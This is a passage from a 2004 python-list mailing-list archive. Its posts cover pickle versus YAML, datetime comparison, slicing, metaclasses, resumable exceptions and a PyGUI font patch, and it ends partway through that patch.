chello.no Thu Sep 9 19:04:50 2004 From: john.thingstad at chello.no (John Thingstad) Date: Fri, 10 Sep 2004 01:04:50 +0200 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com> Message-ID: On Thu, 09 Sep 2004 15:36:29 -0700, Alan Balmer wrote: > > BTW, did you mean "extortion"? Distortion is what we see a lot of > here, though Hoover may have done some of that too. > I guess what I see are endless possibilities of abuse. No government can be trusted with that type of power. I feel it is our responsibility as programmers to prevent this type of abuse of information. I'd rather take my chances with the terrorists. When you sell out freedom, liberty and justice then what exactly are we fighting to protect? Bader-Meihof groups philosophy was that in order to protect the public from terror the government would turn the country into a police state. Then the people would rebel and support the revolution. From this point of view Bush is letting the terrorist's win by sacrificing our constitutional rights. Anyhow this is probably not the place to discuss this... -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From pf_moore at yahoo.co.uk Sun Sep 19 09:53:22 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Sun, 19 Sep 2004 14:53:22 +0100 Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> Message-ID: "Chris S." writes: > Wilk wrote: > >> "Chris S." writes: >> >>>Is there any benefit to Pickle over YAML? Given that Pickle is >>>insecure, wouldn't it make more sense to support a secure >>>serialization format, one that's even readable to boot, such as YAML? >>>There's even a pure Python implementation at www.pyyaml.org >> There is others advantages using yaml instead of pickle anyway >> (portability, readability...) Syck is even faster than pickle i >> think. >> http://whytheluckystiff.net/syck/ > > I agree completely, although I've been surprised by the general lack of > interest around here. You'd think a more secure, portable, and readable > serialization format would be welcomed with open arms, yet most of the > comments I've read past and present have been almost hostile. "Hostile" seems a little exaggerated. The original posting (quoted above) asked the question "Is there any benefit to Pickle over YAML?" I suppose that a reasonable answer (from me) might be "not that I know of", but that begs the question, as I know very little of YAML. Maybe the original poster (or some other supporter of YAML) could provide some reasons to think that YAML *might* be superior to Pickle. Then the people who know about Pickle could respond more helpfully. For example, you (Chris S) claim that YAML is "more secure, portable, and readable". OK, let's take these in turn: More secure - as others have pointed out, Pickle allows pickling and unpickling of class instances, and class code can do what it likes in the constructor (I oversimplify here, as I don't know the details well myself). Sure, this is a security issue, but it's an inherent insecurity in the feature, and not limited to Pickle. If YAML implemented the same feature, it would have the same issues to resolve. Improving security by removing features isn't a clear win for YAML (note thet I am not saying that security in exchange for reduced features might not be a good tradeoff in some cases - I'm addressing the "replace Pickle with YAML" suggestion, not a suggestion that we have both). More portable - hmm, OK. I'm not sure where you want portability *between*, though. Pickle is, as far as I know, portable across platforms. Are you talking about portability between languages? I can't think where I'd want to dump a Python object for loading into Perl or Ruby, though. Can you offer me some real-life use cases? More readable - I'll give you this. And yes, it can be useful. I've been stuffed before now with Java programs whose configuration is stored as a serialised-to-disk object which is completely opaque to external tools, let alone human readers. But this is a property that is useful only in case of failure (if the config gets stuffed, I can hand-hack the dump file, or if I forget what I set parameter X to, I can look in the dump). If the application design *requires* the dump format to be readable, we've moved away from serialisation, and started to talk about configuration formats (which is a separate issue, one in which it is quite possible that YAML is strong, but *not* one in which it is competing with Pickle). >> But all theses projects seems to sleep... > > Can you blame them from the lack of interest? No good idea goes > unpunished... Ironically, YAML borrows key ideas from several > languages, including Python. I have certainly looked at YAML. I have to say that I wasn't really sure what it *was* though. It seems to claim to be different things at different times - a serialisation format, a config file format, a replacement for XML, ... At the time, I was looking for a config format, and it wasn't *quite* what I wanted, because some of the serialisation and XML aspects made it slightly clumsy as a config format. I suspect that people who want to use YAML for serialisation, or as an XML replacement, may feel the same way. And yet, I don't get the feeling that YAML is being developed as a "compromise" format, so I am obviously missing a key design principle. As regards the existing YAML libraries for Python, when I looked I found that the PyYAML website claimed that it was out of date with respect to the latest spec. I also tried SYCK, which looks OK, but which I did manage to provoke a crash from without trying too hard. Also, there were a number of features (not that I know how important they are) marked with "Available in Ruby" (and hence not Python, I assume, given that other features mention Python explicitly). None of this is a criticism of YAML and/or its libraries themselves. However, it does make any suggestion that YAML be used to replace a key part of the Python standard library seem a little premature, at least. I hope this response didn't come across as hostile - I certainly don't intend it that way. But I do believe that it is the responsibility of those making the suggestion that YAML replace pickle to come up with decent arguments. (Or a robust, tested, documented patch for the Python core, of course - that avoids the impression that the requester is hoping that someone else will do the work for him :-)) I'd like to see a strong (this includes "well-documented"!! :-)) YAML library for Python, if only so I could try it out and find out what YAML *is* good for, in my environment. In theory, I like YAML - it's just the practicalities that elude me. [Later] I just re-read some of the YAML website. It appears clear from there that YAML is designed as a serialisation format. But there seems to be a lack of justification as to *why* the design goals (section 1.1 of the spec) are important. Also, security is *not* an explicit goal, and section 3.1.6 (the "Construct" process) is completely lacking in any discussion of the security or other implications of converting a YAML file to a native language object. This seems somewhat surprising in a specification for a serialisation format... Paul. -- Home computers are being called upon to perform many new functions, including the consumption of homework formerly eaten by the dog -- Doug Larson From peter at engcorp.com Wed Sep 22 15:32:00 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 Sep 2004 15:32:00 -0400 Subject: detecting variable types In-Reply-To: References: Message-ID: Jay wrote: > I'm sure this is a really dumb question, but how do you detect a variable > type in Python? > > For example, I want to know if the variable "a" is a list of strings or a > single string. How do I do this? Use the builtin function "type()", but note the following: 1. Variables don't actually have types in Python (and they're usually called "names" in Python, for various reasons), but the data they are currently bound to does have a type and that's what type() returns. Often the distinction won't matter to you... 2. Most of the time people trying to do what you are probably trying to do are going about things the wrong way, often from experience with other languages. Lots of Python folks would be happy to introduce you to "better" ways to do things, if you'll explain the use case and tell us what you're actually trying to accomplish. (Of course, using "type()" will work, but it's rarely considered the best approach in the Python community.) -Peter From zathras at thwackety.com Tue Sep 14 06:36:05 2004 From: zathras at thwackety.com (Michael Sparks) Date: Tue, 14 Sep 2004 11:36:05 +0100 (BST) Subject: Another worthless decorator syntax suggestion In-Reply-To: Message-ID: On 14 Sep 2004, Larry Hastings wrote: > I didn't see this form of decorator syntax listed on the Python ... > Behold: > > def foo(a, b), > classmethod, > synchronized, > martinized: > pass Interesting choice of keyword... ;-) > I look forward to seeing the final decision of our BDFL on this subject, > as I suspect I will agree with it. He gave it - the pies win. Guido gave a very good/nice summary of why as well: * http://mail.python.org/pipermail/python-dev/2004-September/048518.html Best Regards, Michael. From hat at se-126.se.wtb.tue.nl Wed Sep 8 11:11:40 2004 From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp) Date: Wed, 8 Sep 2004 15:11:40 +0000 (UTC) Subject: PHP Documentation References: <4133124f$0$281$4d4ebb8e@news.nl.uu.net> Message-ID: Nice discussion here. I am also attracted to the PHP doc system, for the moment mainly for internal documentation. On Mon, 30 Aug 2004 13:02:14 -0500, A.M. Kuchling wrote: > On Mon, 30 Aug 2004 12:48:13 -0400, >> Wikis can be useful for maintaining documentation, but so far >> I've seen it succeed only in very limited instances, and in this >> case without top level support (e.g. recognition by the official >> doc maintainers that this is now the master copy) I really doubt >> it will get far. Feel free, anyone, to prove me wrong. Ok, let me try :-) [ For clarity: I am not an editor of anything, except my own documentation ] Roughly, there are 4 groups of users: - People that do not read docs. - People that read docs, and do not comment on it. - People that read docs, and write useless comments (useless w.r.t. an editor, for example 'I don't understand this section') - People that read docs and write useful comments. The first two groups are not interesting (maybe the first group is, to some extent but that is a different discussion). The latter group are people that an editor wants to spend time on. Typically (I imagine, I am not an editor), you get feedback about specific points in the docs, or (even better) complete patches which can be integrated. The third group is for an editor mainly waste of time. Without any more details, you cannot figure out what is wrong, so fixing is difficult at best. The current system where everybody can submit reports and patches to the docs using the sourceforge project stops most people of the third group (at least, I hope it does for the sake of our editors), and very little of the 4th group (writing down the specific points or writing a patch is much more effort than submitting it as a bug to the sourceforge project). [ at least, it didn't stop me submitting changes ] By lowering the treshold for submitting changes, you will get more response, but imho mostly from the 3rd group, not the 4th group. I.e you create more work, but not better patches/feedback. > I can't see the Wiki version ever becoming the master copy; Wiki markup is > much less detailed than the LaTeX macros, e.g. in the Wiki you can only put > things in ``code-style``, but in the LaTeX you have \member{} and > \constant{} and \keyword{} and many other different shades of meaning. There are some other considerations as well. I rely on the docs asif it is the voice of our beloved BDFL, ie I assume that they tell the one and only truth. If you allow anyone to edit anything, this may go wrong in a very serious way. Also, there are (unwritten?) agreements that anything undocumented may change or disappear at any time, and anything documented changes very slowly if at all. That means that somebody in charge should give the green light before new parts get documented. I believe that such agreements are good; by using documented calls, I get some limited form of guarantuee that code I write will not cease working suddenly. In other words, I am not convinced that we'd want public write access to the documents. Having said that, a workable solution can be constructed quite easily (isn't Open Source wonderful?). Anyone can copy the doc source, put them at his own server, and serve the pages to browsers all over the world and collect comments either in PHP style or in Wiki style. Then, the owner of the server can browse the collected comments, makes them edible for our source documentation, and submit the patches to the bug tracker. I am sure that the doc editors are happy to integrate any such patches to the existing source documents. If this works well, you (the server owner doing the editing work) a) attract more users than the main documentation. Since you get modifications, you can publish them before the official documents. That should make your site more attractive than the official one. b) get enough credit of the editors that at some point you may get write access to the source documents (ie you can then eliminate the bug report step), c) may convince our editors that having an interactive doc modification system is indeed an improvement. and possible some other advantages as well. > It probably wouldn't be difficult to take the HTML rendering of the docs and > automatically import them into an empty Wiki instance that could then be > updated. Will anyone volunteer to do this? One aspect I am interested in, is how do you know what is updated? Is there some underlying version control system, or does the wiki keep track of modifications? (I know what wiki is, but I haven't played with any yet). Albert -- Unlike popular belief, the .doc format is not an open publically available format. From tim.peters at gmail.com Tue Sep 14 17:16:58 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 14 Sep 2004 17:16:58 -0400 Subject: comparing datetime with date In-Reply-To: References: Message-ID: <1f7befae04091414167f3b37d4@mail.gmail.com> [Donnal Walter] > I was very surprised to discover that > > >>> import datetime > >>> x = datetime.date(2004, 9, 14) > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) > >>> print x == y > True > > How can these two objects be considered equal? They should not be. Please open a bug report. The problem is due to that datetime.datetime is a subclass of datetime.date: >>> isinstance(y, datetime.date) True >>> and date's comparison implementation believes that instances of date subclasses can be compared as if they *were* dates. Indeed, since a datetime. datetime is-a datetime.date, it's a bit hard to see why that shouldn't be allowed, and offhand I don't know of a principled way to fix this without breaking existing code that compares instances of user-defined subclasses of datetime.date to instances of datetime.date. From andre.roberge at ns.sympatico.ca Mon Sep 6 20:25:37 2004 From: andre.roberge at ns.sympatico.ca (Andr? Roberge) Date: 6 Sep 2004 17:25:37 -0700 Subject: i18n and GUI under Windows Message-ID: In short: I'm looking for a *simple* example of how to write a program that can have its GUI in at least two languages under Windows ... using only Python, of course! I've downloaded Guido van Robot (great program!) so that my kids could learn the basics of programming. Apparently it is set up to work in French under *nix, but not under Windows. I've looked at the source code, found where this is noted, scratched my head, looked at the web to find solution, to no avail. GvR uses wxPython. On the wxWidget website, it is said that there is a "internat" sample program, that would seem to do what I'm looking for, but it doesn't seem to be in the wxPython distribution. I haven't found any simple demonstration with Tkinter either (or Pythoncard, anygui, easygui, etc...). Sigh.... I *think* I understand the basics of unicode encoding (at the very least, enough to have been able to modify Leo [another great program!] to work properly on my machine [actually, it was well explained on the web site]). Any pointer, or sample program (like those found in useless Python) demonstrating how this can be done would be appreciated. So, how do you write a program that can display on a label (or menu item) either "Guido" or "Andr?" (Andre´) depending on the user's choice. [Ok, that's not a good translation, but still :-)] I am not a real programmer, just a hobbyist. However, if I can get enough pointers to answer my question within the next week, I commit myself to: 1) write a detailed tutorial in both French and English, explaining how to do this in a way even I can understand :-) 2) find a way to modify GvR so that it works in languages other than English on Windows. Hey, I've already installed Poedit in anticipation of all the translations I am going to do ;-) Andr? Roberge From grante at visi.com Fri Sep 24 07:42:03 2004 From: grante at visi.com (Grant Edwards) Date: 24 Sep 2004 11:42:03 GMT Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: <4154080b$0$80686$a1866201@newsreader.visi.com> On 2004-09-24, Guyon Mor?e wrote: > what is the difference? 42? > if I open a text file in binary (rb) mode, it doesn't matter... the read() > output is the same. OK... -- Grant Edwards grante Yow! They at collapsed... like nuns visi.com in the street... they had no teenappeal! From aleaxit at yahoo.com Sun Sep 5 16:53:56 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 22:53:56 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: <1gjnwv2.jj0hvbov5tc1N%aleaxit@yahoo.com> Roy Smith wrote: > I asked: > > How is a class instance's mutability any less of disqualifier for > > key-ness than a list's mutability? > > Benjamin Niemann wrote: > > > a = [1, 2, 3] > > b = [1, 2, 3] > > if a == b: > > print "List equality is based on content" > > Tuple (and string) equality is based on content too. So what? I can > give my data class an __eq__ method, and then my class instance equality > would also based on content. And your class's instances wouldn't then be hashable any more unless they defined a __hash__ method -- have you tried? > So, to restate my original question, why should my mutable, > content-based-eqality class instance be a valid dictionary key, when a > list is not? Which part of a list's behavior makes it inherently > unusable as a key? I'm not asking about design philosophy, I'm asking > about observable behavior. This was discussed in detail in another thread about 2 days ago, I believe. That thread started by somebody asking why modules were hashable (could be keys in a dictionary). Alex From flavell at ph.gla.ac.uk Mon Sep 6 18:55:28 2004 From: flavell at ph.gla.ac.uk (Alan J. Flavell) Date: Mon, 6 Sep 2004 23:55:28 +0100 Subject: Xah Lee's Unixism In-Reply-To: References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: On Tue, 7 Sep 2004, John Thingstad wrote: > It was the realization of www (CERN) that spawned the movement toward the > Internet. Eh? From thinmanj at gmail.com Wed Sep 1 17:31:09 2004 From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=) Date: Wed, 1 Sep 2004 17:31:09 -0400 Subject: negative stride list slices In-Reply-To: <318a5f1a040901142310b94710@mail.gmail.com> References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> <318a5f1a040901142310b94710@mail.gmail.com> Message-ID: <318a5f1a040901143134f13188@mail.gmail.com> http://www.python.org/doc/2.3.4/whatsnew/section-slices.html There is more information on extended slicing Regards. On Wed, 1 Sep 2004 17:23:18 -0400, Julio O?a wrote: > Slice has three arguments, [begin:end:step] > > when doing s[:-3:-1] you are asking the las to elements of the list in > reversed order. > > regards. > > > > On Wed, 01 Sep 2004 17:15:51 -0400, Peter Hansen wrote: > > Reid Nichol wrote: > > > > > This was the part that I was refering to: > > > > > > +---+---+---+---+---+ > > > | H | e | l | p | A | > > > +---+---+---+---+---+ > > > 0 1 2 3 4 5 > > > -5 -4 -3 -2 -1 > > > > > > Does it not all work the same in practice? > > > > Can you explain how the above diagram explains David's > > example then: > > > > >>> s = 'HelpA' > > >>> s[:-3:-1] > > 'Ap' > > > > I don't find much connection between the diagram and > > where the -3 is actually slicing either. > > > > -Peter > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-list > > > > > -- > Julio > -- Julio From irmen at -nospam-remove-this-xs4all.nl Mon Sep 27 15:22:48 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Mon, 27 Sep 2004 21:22:48 +0200 Subject: Metaclass to make all methods of a class thread-safe In-Reply-To: <4edc17eb.0409270141.4faf130c@posting.google.com> References: <415728eb$0$78753$e4fe514c@news.xs4all.nl> <4edc17eb.0409270141.4faf130c@posting.google.com> Message-ID: <41586889$0$568$e4fe514c@news.xs4all.nl> Michele Simionato wrote: > Irmen de Jong wrote in message news:<415728eb$0$78753$e4fe514c at news.xs4all.nl>... [...] >>Is this the right approach? It seems to work fine. But I have >>very little experience with metaclass programming, so I'd like >>to hear some feedback. >> >>Thanks !! >> >>--Irmen de Jong. > > > Well, it looks okay, but consider the following: > > 1. you have a (metaclass) static method and a (metaclass) classmethod > which could be replaced by simple functions external to the metaclass; > this would make the code much easier to read and to understand; I don't > buy the argument that they should logically stay in the metaclass, it > is enough if they stay in the same module of the metaclass, not inside it; Agreed, I was just modeling it after some example metaclass code that I found on ASPN cookbook. The metaclass itself will only be a few lines then :-) > 2. the metaclass will automagically wrap even methods of subclasses, without > you knowing it; consider using a naming convention (es. only methods > starting with "t_" are magically wrapped); if still > you want the magic, consider defining a name convention such as methods > starting with a given prefix are NOT magically wrapped; This is good advice. I started by not wrapping methods with '__' prefix... > 4. built-in methods and all the objects which are non instances of FunctionType > will be not wrapped; you may want this or not; Built-in methods such as? About the other objects: I only cared about wrapping class methods. Shouldn't I have / should I use something else than FunctionType? There is one thing though; methods that you're accessing trough the class's __dict__ (which is what the meta class is doing, right?) are of type , rathar than which I expected: >>> class A: ... def meth(self): pass ... >>> type(A.meth) >>> type(A.__dict__['meth']) >>> Why is this? > 5. consider using decorators to wrap the methods you want to be > thread safe: they a more esplicit and easier to understand solution; > also in this way you will avoid the (possible) issue of metaclass > conflicts. No decorators, nooo sir, it must work on Python 2.3 too :) > 6. However, if you want to enhance a code which is already written > with a minimal change of the source code, the metaclass is the > simplest solution indeed. Thanks for your comments, Michele. --Irmen From peter at engcorp.com Wed Sep 1 08:25:27 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 08:25:27 -0400 Subject: sys.stdin.readline() In-Reply-To: References: <367a4461.0408311221.30866c09@posting.google.com> <1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com> Message-ID: Mike Maxwell wrote: > Alex Martelli wrote: >> Mike Maxwell wrote: >> No, I think you're correctly observing that Python isn't oriented to >> one-liners -- not at all. Most interesting things in Python require >> more than one line. > > > I don't care whether it's "interesting", I just want to get some work > done. And since most of the text processing tools in Unixes that I > would otherwise use (grep, sed, tr) don't support Unicode, and are > inconsistent in their regular expression notation to boot, it would be > nice if I could write regex operations in a single, consistent > programming language. Python is a single, consistent programming > language, but as you say, it doesn't lend itself to one-liners. > Most of us who do this conclude that our potential one-liner is actually likely to be re-used, and we write the Python three-liner equivalent in a file. Later on, we typically find that it has grown to seventeen lines and we don't particularly mind the slight extra inconvenience of having to put the initial code in a file instead of trying to retype it each time we need it. -Peter From fakeaddress at nowhere.org Thu Sep 16 01:25:00 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Thu, 16 Sep 2004 05:25:00 GMT Subject: Microthreads without Stackless? In-Reply-To: <18282ecb.0409151755.47b691e2@posting.google.com> References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> Message-ID: M.E.Farmer wrote: > Wow!, > Provocative = Tending to provoke or stimulate. [...] > I noticed you tend to be quite critcal of others. I noticed you take no interest in whether criticism is valid. > Did you notice the OP asked for: > microthreads > using generators and threads > The devil, however, is in the scheduler's details Absolutely. And I followed up your post that said Mertz covered this. > What I posted was about as close as you get. > 'Implementing "weightless threads" with Python generators.' > I have not studied or used that code. > I hoped it would be of use as inspiration for his scheduler. > If nothing else it would show how not to do it. > Mertz never said they were like real threads or coroutines. > Where did you get that? > I know it breaks your heart there aren't coroutines in Python. > But get a grip on reality. Hold, on, let me see ... you have an actual technical disagreement with my saying Mertz was wrong, specifically you say, "Mertz never said they were like real threads or coroutines". Mertz wrote: These are not true coroutines in the sense that control only branches to and from the scheduler() function, but for practical purposes, one accomplishes the same thing with very little extra code. Mertz certainly is saying they are like co-routines, and he seems to think the major difference is in the scheduler. I think he's wrong: the key difference is switching from anywhere, not just one-call-down. > I know it breaks your heart there aren't coroutines in Python. Kind of. I haven't lost hope. In addition to the Python extensions, the Perl 6 project is designing the interpreter so it can support multiple languages, specifically including Python. It may become a compelling platform, enabling Perl, Python and Ruby to share libraries, and providing continuations and co-routines in the deal. > We have got generators(semi-coroutines), > and others have mentioned it **is** doable. Another technical point, but here I'm not sure what 'it' refers to. >>Well, the Erlang (language + telecom platform) uses light-weight >>threads which could e.g. be implemented with coroutines in Python. > > Bryon wrote: > Well, the issue here is whether they could be implemented > reasonably in Python as it currently is, with generators > but not co-routines. > """ > Why didn't you post a link to the other thread? First, I thought I could make the point more clearly here. Second, I found that thread hard to follow, because the OP's replies kept appearing threaded under the first post. > Did you notice the other people that responded are the ones > from the other thread? Uh, somewhat. In that thread, a number of people made the key point: the major difference between generators and co-routines is that co-routines can switch at any call-depth. > Since you gave me your opinion I will share mine. [...] Mine were technical. Yours are personal. -- --Bryan From bokr at oz.net Tue Sep 28 20:15:33 2004 From: bokr at oz.net (Bengt Richter) Date: 29 Sep 2004 00:15:33 GMT Subject: re-entering in the normal flow after an exception is raised References: <4edc17eb.0409280817.27ef4f43@posting.google.com> Message-ID: On 28 Sep 2004 09:17:07 -0700, michele.simionato at gmail.com (Michele Simionato) wrote: >I think I want "re-entrant exceptions" (not sure if this is the >correct name). As Alex said, resumable is the usual word, I think. > >Consider the following example: > >class NotSeriousException(Exception): > pass > >def do_this(): > raise NotSeriousException() > >def do_that(): > pass > >def do_this_and_that(): > do_this() > do_that() > >Since the exception is raised at the do_this() level, do_that() will >not be executed. However, since the exception is not that serious, I >would like to catch it and continue from the point the exception was >raised, i.e. something like that: > >try: > do_this_and_that() >except NotSeriousException: > continue # does not work of course > >where "continue" would continue from do_that(). > >Is there some elegant or hackish way to get this? Hacks will probably bite you later, though I think they're fine for one-time throwaway code that you really throw away. I wonder if you could interfere with exception unwinding via sys.settrace. I believe you can get control at each frame as the exception propagates, but I don't know what can be done. I think you would take a big performance hit though. >Notice that I do NOT want to modify the source code of >do_this_and_that. >It comes from real life code and I could modify it, but if there was >some >smarter way of getting what I want I would be interested ... Maybe think about smart ways to modify? It comes to mind that you might have functions call a complain function instead of directly raising exceptions, if you want to customize or parameterize by seriousness or other criteria. E.g., (untested) def complain(kind, exc, *args): if kind in globalconfigdict: raise exc(*args) def dothis(): complain('not so serious', NotSeriousException, 'args', 'for', 'exception') Just an idea. You could also make complain a callable object with various methods for configuring behaviour easily etc. etc. Just .02USD off the top of my head ;-) Regards, Bengt Richter From __peter__ at web.de Tue Sep 28 07:58:57 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 28 Sep 2004 13:58:57 +0200 Subject: breaking up a list References: Message-ID: > If I have a list, say > > x=[1,2,3,4,5,6] > > What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]], > i.e. splitting it into pairs. I like >>> x = [1, 2, 3, 4, 5, 6] >>> it = iter(x) >>> zip(it, it) [(1, 2), (3, 4), (5, 6)] even after posting it several times before :-) Use map(list, zip(it, it)) if you need lists instead of tuples. Michele Simionato has posted a generalized version of this recipe: http://mail.python.org/pipermail/python-list/2004-May/222673.html Peter From whereU at now.com Sun Sep 19 15:40:37 2004 From: whereU at now.com (Eric Pederson) Date: Sun, 19 Sep 2004 11:40:37 -0800 Subject: Documentation? file/open with tea Message-ID: <20040919114037.208539021.whereU@now.com> WryPyY's- I've come across this file operation in others' code and have not seen any documentation for it: the use of "t" in the mode of file opening, such as: f1=open(somefile, 'at') f2=open(otherfile, 'rt') [to be clear, I am talking about 't' tea, not '+' plus] Is this merely another shorthand for a binary mode, or is there more going on with 't'? Also, is this still a valid mode going forward, or has it been deprecated? TIA >>> f=open("C:\somepath\All_domain_suffixes.txt",'rt') >>> f.read() '\xa0.ac \xa0|\n\xa0.ad \xa0|\n\xa0.ae \xa0|\n\xa0.aero \xa0|\n\xa0.af \xa0|\n\xa0.ag \xa0|\n\xa0.ai \xa0|\n\xa0.al \xa0|\n\xa0.am \xa0|\n\xa0.an \xa0|\n\xa0.ao \xa0|\n\xa0.aq \xa0|\n\xa0.ar \xa0| [... etc.] Eric ::::::::::::::::::::::::::::::::::: domainNot="@something.com" domainIs=domainNot.replace("s","z") ePrefix="".join([chr(ord(x)+1) for x in "do"]) mailMeAt=ePrefix+domainIs ::::::::::::::::::::::::::::::::::: From remy.blank_asps at pobox.com Thu Sep 23 12:32:19 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Thu, 23 Sep 2004 18:32:19 +0200 Subject: unittest: new reporting category "skipped" In-Reply-To: <698f09f8.0409230740.18bc9185@posting.google.com> References: <698f09f8.0409230740.18bc9185@posting.google.com> Message-ID: Jeremy Fincher wrote: > Even if it doesn't get accepted into Python proper, I'll take a copy > and put it with my project -- I already provide my own unittest.py I was wondering, is it worth modifying unittest.py directly and provide a patch, or should I just extend its functionality in a separate file, and provide that one? > that I hacked to show the total number of asserts (I was curious one > day, and it's turned out to be a remarkably useful thing to have, > since my tests-upon-tests can hide unreaonable numbers of assertions > which otherwise would go unnoticed (except as a general slowness of > the test suite). Interesting idea. What do you use the assertion count for? -- Remy Remove underscore and suffix in reply address for a timely response. From exarkun at divmod.com Thu Sep 30 11:27:24 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Thu, 30 Sep 2004 15:27:24 GMT Subject: thread execution order In-Reply-To: Message-ID: <20040930152724.29723.1887173415.divmod.quotient.8416@ohm> On Thu, 30 Sep 2004 15:33:06 +0200, "Axel Mittendorf" wrote: >Hi, I have an app that writes text messages into a pipe and reads it out. > Other programs write into this pipe too. Sometimes the pipe is full and > my app freezes if it wants to write in that moment. It is not an option > for me to open the pipe with O_NONBLOCK, so I thought I could > use threads. Always when something shall be written into the pipe a new > thread is created. These threads may hang on os.write, but they'll write out > the data ASAP. > See the example below (I substituted os.write with lock.acquire(1)). > But if the pipe was full, three threads were created (all hang on os.write) > and > now the pipe is emptied, which one will write its data at first? The threads > ordered by the time of thier creation (first no 1 then no 2,3,4 ... n) or > just one of them > (not ordered, maybe no4 then no1 and then no3)? > I ask this since the order of the messages is important. The order is non-deterministic. It will depend on such things as your platform, the underlying thread library, the load on the system at the time, and even how quickly or slowly the process reading the pipe actually reads, among other things. Could you explain why it is not an option to use a non-blocking pipe? Jp From tolot at jupiter.solar-empire.de Tue Sep 21 17:29:25 2004 From: tolot at jupiter.solar-empire.de (Marc Christiansen) Date: Tue, 21 Sep 2004 23:29:25 +0200 Subject: Fontproblems with PyGUI and gtk 2.4.10 Message-ID: Hi! After some installation problems related to PyGUI (well, indirectly -- I had to install new versions of: freetype, fontconfig, xft2 (from fcpackage.2_1.tar.gz, because the latest xft2 won't compile with X4.2.0) (which needed a patch to Xft.h because apparently the #include-style of freetype did change), GLib, Pango, ATK, GTK+ and pygtk) I ran the scripts from Tests and there were problems that text was cut off or textfields were not tall enough (e.g. 09-textfield.py). I did some digging and found the cause. The problem is in the line gdk_font = gdk.font_from_description(self._pango_description) in Fonts.Font._get_gdk_font(). In gtk 2.4.10 gdk_font_from_description calls gdk_font_from_description_for_display in gdkfont-x11.c, which contains the line return gdk_font_load_for_display (display, "fixed"); So regardless what font is wanted, the fixed font gets loaded. The big problem here is that some widgets use a different font but use Font.width(), get_height() etc. for layout. Of course this give wrong values (e.g. get_height() always returns 13, width(s) always 6*len(s)). It looks as if Fonts.py has to be ported to fully use pango. For get_ascent, get_descent (btw. the gdk_font based version returns ascent) and get_height there is code which seems to work, it is just commented and some small changes must made. But rewriting width() and x_to_pos() to use pango seems to be not easy. At least I see no obvious way to do it. But this change really should be made because all the GdkFont functions are declared obsolete in the gtk+ documentation. I've attached a patch for two small typos in Fonts.py --- Fonts.py.orig Tue Sep 21 23:08:28 2004 +++ Fonts.py Tue Sep 21 23:12:43 2004 @@ -45,7 +45,7 @@ return self._pango_description.get_family() def get_size(self): - return self.self._pango_description.get_size() + return self._pango_description.get_size() def get_style(self): style = [] @@ -60,7 +60,7 @@ return self._get_gdk_font().ascent def get_descent(self): - return self._get_gdk_font().ascent + return self._get_gdk_font().descent def get_height(self): gdk_font = self._get_gdk_font() and here one to change get_ascent, get_descent and get_height to pango --- Fonts.py.orig Tue Sep 21 23:18:54 2004 +++ Fonts.py Tue Sep 21 23:15:09 2004 @@ -10,6 +10,7 @@ class Font(GFont): _gdk_font = None + _pango_metrics = None # def _from_gdk_font(cls, gdk_font): # font = cls.__new__(cls) @@ -56,15 +57,15 @@ style.append('italic') return style - def get_ascent(self): - return self._get_gdk_font().ascent - - def get_descent(self): - return self._get_gdk_font().descent - - def get_height(self): - gdk_font = self._get_gdk_font() - return gdk_font.ascent + gdk_font.descent +# def get_ascent(self): +# return self._get_gdk_font().ascent +# +# def get_descent(self): +# return self._get_gdk_font().descent +# +# def get_height(self): +# gdk_font = self._get_gdk_font() +# return gdk_font.ascent + gdk_font.descent def _get_gdk_font(self): gdk_font = self._gdk_font @@ -73,26 +74,26 @@ self._gdk_font = gdk_font return gdk_font -# def get_ascent(self): -# pfm = self._get_pango_metrics() -# return pfm.ascent -# -# def get_descent(self): -# self._get_pango_metrics() -# return self._descent -# -# def get_height(self): -# self._get_pango_metrics() -# return self._ascent + self._descent -# -# def _get_pango_metrics(self): -# pfm = self._pango_metrics -# if not pfm: -# pfm = _pango_context.get_metrics(self._pango_description) -# self._pango_metrics = pfm -# self._ascent = pfm.ascent / pango.SCALE -# self._descent = pfm.descent / pango.SCALE -# return pfm + def get_ascent(self): + self._get_pango_metrics() + return self._ascent + + def get_descent(self): + self._get_pango_metrics() + return self._descent + + def get_height(self): + self._get_pango_metrics() + return self._ascent + self._descent + + def _get_pango_metrics(self): + pfm = self._pango_metrics + if not pfm: + pfm = _pango_context.get_metrics(self._pango_description) + self._pango_metrics = pfm + 